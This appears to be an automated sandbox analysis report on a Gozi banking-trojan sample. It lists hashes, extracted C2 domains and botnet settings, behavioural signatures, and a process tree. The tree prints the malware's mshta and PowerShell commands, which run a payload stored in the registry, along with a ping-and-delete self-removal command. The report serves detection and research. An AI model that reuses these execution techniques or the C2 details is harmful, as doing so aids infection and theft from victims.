Analysis

  • max time kernel
    151s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-10-2023 14:31

General

  • Target

    NEAS.7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6_JC.exe

  • Size

    304KB

  • MD5

    a3f4c907a088c99a8b7bf5f4280d7d0c

  • SHA1

    9a9297bd0af1c008eb7477c1e310ce70c30c6d56

  • SHA256

    7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6

  • SHA512

    106a0a4275a421a6dbef6c43e76921e6eae1aca5f6d960f823763a3127b7ebf826c626da460db82451aba4a94c32c8c198d6871b0a2c6de7d96c937384e92f9b

  • SSDEEP

    6144:Oo+91vDNpa6NK56upTHirwtc3nhBvjQOR/Oz2IHTN+:ONDLu4K56u1HqfhBvjQOWz2W

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

http://igrovdow.com

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Dave packer 1 IoCs

    Detects executable using a packer named 'Dave' by the community, based on a string at the end.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3780
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:4768
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:4008
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of UnmapMainImage
          • Suspicious use of WriteProcessMemory
          PID:3084
          • C:\Users\Admin\AppData\Local\Temp\NEAS.7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6_JC.exe
            "C:\Users\Admin\AppData\Local\Temp\NEAS.7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6_JC.exe"
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3596
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Tfct='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Tfct).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD\\\LinkActive'));if(!window.flag)close()</script>"
            2⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:2792
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name qkwudvcj -value gp; new-alias -name ypjmemrtt -value iex; ypjmemrtt ([System.Text.Encoding]::ASCII.GetString((qkwudvcj "HKCU:Software\AppDataLow\Software\Microsoft\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD").PlayPlay))
              3⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3796
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aao1rayk\aao1rayk.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:560
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2C4B.tmp" "c:\Users\Admin\AppData\Local\Temp\aao1rayk\CSCA383A5EC3FC64DD685F5B9163D992EFF.TMP"
                  5⤵
                    PID:3388
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qx3bi1rk\qx3bi1rk.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1452
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2D74.tmp" "c:\Users\Admin\AppData\Local\Temp\qx3bi1rk\CSC3F343B7FF00C4C91916CF02A4DBF17A1.TMP"
                    5⤵
                      PID:2600
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\NEAS.7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6_JC.exe"
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:1904
                • C:\Windows\system32\PING.EXE
                  ping localhost -n 5
                  3⤵
                  • Runs ping.exe
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  PID:2984
              • C:\Windows\syswow64\cmd.exe
                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                2⤵
                  PID:4368
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                  PID:4724

                Network

                MITRE ATT&CK Matrix ATT&CK v13

                Discovery

                Query Registry

                1
                T1012

                System Information Discovery

                2
                T1082

                Remote System Discovery

                1
                T1018

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\RES2C4B.tmp
                  Filesize

                  1KB

                  MD5

                  ea4aafe0a3a3696fa11309c62bb9c4e3

                  SHA1

                  be0f54ec0561ba76c7529902d87532f7b523fa4f

                  SHA256

                  cab1e09a04e686996b5ea50a437a4a9ec614c2b42ab620289d9ed3b1d01ca99d

                  SHA512

                  c29510e78458e57b1136ef03c642958c802162b499709581a8a5982d15e02748c1024f9f98eb12515102439662fbcbea6e9014bdd832a14eec0ff3e3fb065f12

                • C:\Users\Admin\AppData\Local\Temp\RES2D74.tmp
                  Filesize

                  1KB

                  MD5

                  1bf97163c1adebe783d83cbfa2f4f2d7

                  SHA1

                  478a1bb93e7f1af01df104dfc8563dd3ab767231

                  SHA256

                  7c5dc34e47f204d0f5492dbb34187bda6426def65772898ff6c4ca84634f8de1

                  SHA512

                  ea1a17267261653e81deb9ccf34790c4f35ff3226c1da6ba4089f03d13c5131e41e3a0e78174e10c4b0b8745e9399941eeba1eba1b4a961b0b7959e46b27cb3b

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_acssny3o.ayw.ps1
                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\AppData\Local\Temp\aao1rayk\aao1rayk.dll
                  Filesize

                  3KB

                  MD5

                  e426405f1ae88e93331179ed301a4b9a

                  SHA1

                  9b7264c9527ac3a5428addf68f8d5a352dc09a9e

                  SHA256

                  bb43ec4a28a336bfe468562c2bc2410425363b34281def4c90170d68c34f921e

                  SHA512

                  f694379c5bc9041558a068ffd1606a1b928fd961303321d8a7000fee5648331c323d6d4f96a9c7ca762ef667e5db24f868ff57271968831091848852ffb37632

                • C:\Users\Admin\AppData\Local\Temp\qx3bi1rk\qx3bi1rk.dll
                  Filesize

                  3KB

                  MD5

                  233d0c9480fd035e4e219ae7a5a8a49f

                  SHA1

                  b309f25a33372efa4b30e45e787bf706dae9c8f4

                  SHA256

                  675bd0712decb4327b927f4eb8bc0a3b4fbd2facdffc11c90b0c261ec14eeffb

                  SHA512

                  ee629bafda4bbdda201a4274e7ae72d74f5daaaecf024deec5b9bfe4616ff2a4f0df26952e65bace920f2c069437661797a1880f7b2f0e4af01147de5f666db6

                • \??\c:\Users\Admin\AppData\Local\Temp\aao1rayk\CSCA383A5EC3FC64DD685F5B9163D992EFF.TMP
                  Filesize

                  652B

                  MD5

                  cc2bd97acf329aafbb6300947990cbd3

                  SHA1

                  577efb8e8f04caaec0a44d165bc7e4ed3a6dbd15

                  SHA256

                  2f55f72643cce6cd1efdca867e072648a6513e30780a8b077fb2770122835474

                  SHA512

                  602c23f75a58f185cc8a8aaef306924622708ccb303ed252bff08470223776a128453b6bc05c3dbe0a59a464c63aacfb65c209fa720fcfa30e7c34a62b04e6bf

                • \??\c:\Users\Admin\AppData\Local\Temp\aao1rayk\aao1rayk.0.cs
                  Filesize

                  405B

                  MD5

                  caed0b2e2cebaecd1db50994e0c15272

                  SHA1

                  5dfac9382598e0ad2e700de4f833de155c9c65fa

                  SHA256

                  21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                  SHA512

                  86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

                • \??\c:\Users\Admin\AppData\Local\Temp\aao1rayk\aao1rayk.cmdline
                  Filesize

                  369B

                  MD5

                  c5a48d0a3a49d69db0d97a0ea463c5a6

                  SHA1

                  e61854dda589bc2b27d00a7742738c5d4551ac9b

                  SHA256

                  dec8b724f58cb2912bba9e644fe8c9942153c78822d6629745bed099745b26aa

                  SHA512

                  375d70abc42711026418c76b605533143019ff4344d6a651838478c66907f0ab605fe5ee4890617025f5297a98db4573f70731dbf0a218d12046531bdd463268

                • \??\c:\Users\Admin\AppData\Local\Temp\qx3bi1rk\CSC3F343B7FF00C4C91916CF02A4DBF17A1.TMP
                  Filesize

                  652B

                  MD5

                  636253e8038d641e7284721cbab6cdc2

                  SHA1

                  20be56daae51b28870ac031fc01f4feb93fcdc31

                  SHA256

                  95ba997514434449ab9433f85aad3df11c391924df0ee9d76409485c39f1c3f9

                  SHA512

                  60b3256a1158e7d7cb2096ee7d5456f1a86d4d5df18ca41549b04f25a73d7e94ad0e20e8a9f8d5d3598e8bc4478b6129b53aee167eb28fc4d19bd5841080fe04

                • \??\c:\Users\Admin\AppData\Local\Temp\qx3bi1rk\qx3bi1rk.0.cs
                  Filesize

                  406B

                  MD5

                  ca8887eacd573690830f71efaf282712

                  SHA1

                  0acd4f49fc8cf6372950792402ec3aeb68569ef8

                  SHA256

                  568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                  SHA512

                  2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

                • \??\c:\Users\Admin\AppData\Local\Temp\qx3bi1rk\qx3bi1rk.cmdline
                  Filesize

                  369B

                  MD5

                  e57cf1bf23391f4bab65cd3e27542538

                  SHA1

                  0d1a2bd36fa844578d415e6e384c9771408de5c3

                  SHA256

                  06bcc7ac4b25e4ed9a436893632e1b35cfa5c55ee7f9178692c529e60f8bef8e

                  SHA512

                  b5d2509b5ff2c2ad8ffb3d2058262cca6b0a2fa638b9777a3cb734bce6792d917cf3e16e890a6dec7af9f4b778e9d4d9ec288762b74500f3167116f3d77c7e1b

                • memory/1904-103-0x0000015E39180000-0x0000015E39181000-memory.dmp
                  Filesize

                  4KB

                • memory/1904-98-0x0000015E39360000-0x0000015E39404000-memory.dmp
                  Filesize

                  656KB

                • memory/1904-119-0x0000015E39360000-0x0000015E39404000-memory.dmp
                  Filesize

                  656KB

                • memory/2984-110-0x0000023379610000-0x00000233796B4000-memory.dmp
                  Filesize

                  656KB

                • memory/2984-111-0x00000233796C0000-0x00000233796C1000-memory.dmp
                  Filesize

                  4KB

                • memory/2984-118-0x0000023379610000-0x00000233796B4000-memory.dmp
                  Filesize

                  656KB

                • memory/3084-60-0x0000000000A00000-0x0000000000A01000-memory.dmp
                  Filesize

                  4KB

                • memory/3084-99-0x0000000008810000-0x00000000088B4000-memory.dmp
                  Filesize

                  656KB

                • memory/3084-59-0x0000000008810000-0x00000000088B4000-memory.dmp
                  Filesize

                  656KB

                • memory/3596-1-0x00000000004B0000-0x00000000004BC000-memory.dmp
                  Filesize

                  48KB

                • memory/3596-11-0x0000000002390000-0x000000000239D000-memory.dmp
                  Filesize

                  52KB

                • memory/3596-5-0x0000000000940000-0x000000000094F000-memory.dmp
                  Filesize

                  60KB

                • memory/3596-0-0x00000000004C0000-0x00000000004CF000-memory.dmp
                  Filesize

                  60KB

                • memory/3780-73-0x0000022575510000-0x0000022575511000-memory.dmp
                  Filesize

                  4KB

                • memory/3780-72-0x0000022575690000-0x0000022575734000-memory.dmp
                  Filesize

                  656KB

                • memory/3780-113-0x0000022575690000-0x0000022575734000-memory.dmp
                  Filesize

                  656KB

                • memory/3796-17-0x000002AA2D960000-0x000002AA2D982000-memory.dmp
                  Filesize

                  136KB

                • memory/3796-69-0x00007FF8BB100000-0x00007FF8BBBC1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/3796-57-0x000002AA2DD30000-0x000002AA2DD6D000-memory.dmp
                  Filesize

                  244KB

                • memory/3796-27-0x000002AA2D9B0000-0x000002AA2D9C0000-memory.dmp
                  Filesize

                  64KB

                • memory/3796-70-0x000002AA2DD30000-0x000002AA2DD6D000-memory.dmp
                  Filesize

                  244KB

                • memory/3796-26-0x000002AA2D9B0000-0x000002AA2D9C0000-memory.dmp
                  Filesize

                  64KB

                • memory/3796-55-0x000002AA2DB10000-0x000002AA2DB18000-memory.dmp
                  Filesize

                  32KB

                • memory/3796-25-0x00007FF8BB100000-0x00007FF8BBBC1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/3796-28-0x000002AA2D9B0000-0x000002AA2D9C0000-memory.dmp
                  Filesize

                  64KB

                • memory/3796-41-0x000002AA15380000-0x000002AA15388000-memory.dmp
                  Filesize

                  32KB

                • memory/4008-78-0x000001FBB30B0000-0x000001FBB3154000-memory.dmp
                  Filesize

                  656KB

                • memory/4008-79-0x000001FBB3070000-0x000001FBB3071000-memory.dmp
                  Filesize

                  4KB

                • memory/4008-116-0x000001FBB30B0000-0x000001FBB3154000-memory.dmp
                  Filesize

                  656KB

                • memory/4368-105-0x00000000009F0000-0x00000000009F1000-memory.dmp
                  Filesize

                  4KB

                • memory/4368-108-0x0000000001200000-0x0000000001298000-memory.dmp
                  Filesize

                  608KB

                • memory/4368-100-0x0000000001200000-0x0000000001298000-memory.dmp
                  Filesize

                  608KB

                • memory/4724-91-0x000001C395FD0000-0x000001C395FD1000-memory.dmp
                  Filesize

                  4KB

                • memory/4724-90-0x000001C3966E0000-0x000001C396784000-memory.dmp
                  Filesize

                  656KB

                • memory/4724-120-0x000001C3966E0000-0x000001C396784000-memory.dmp
                  Filesize

                  656KB

                • memory/4768-117-0x000001A23A3A0000-0x000001A23A444000-memory.dmp
                  Filesize

                  656KB

                • memory/4768-85-0x000001A2381B0000-0x000001A2381B1000-memory.dmp
                  Filesize

                  4KB

                • memory/4768-84-0x000001A23A3A0000-0x000001A23A444000-memory.dmp
                  Filesize

                  656KB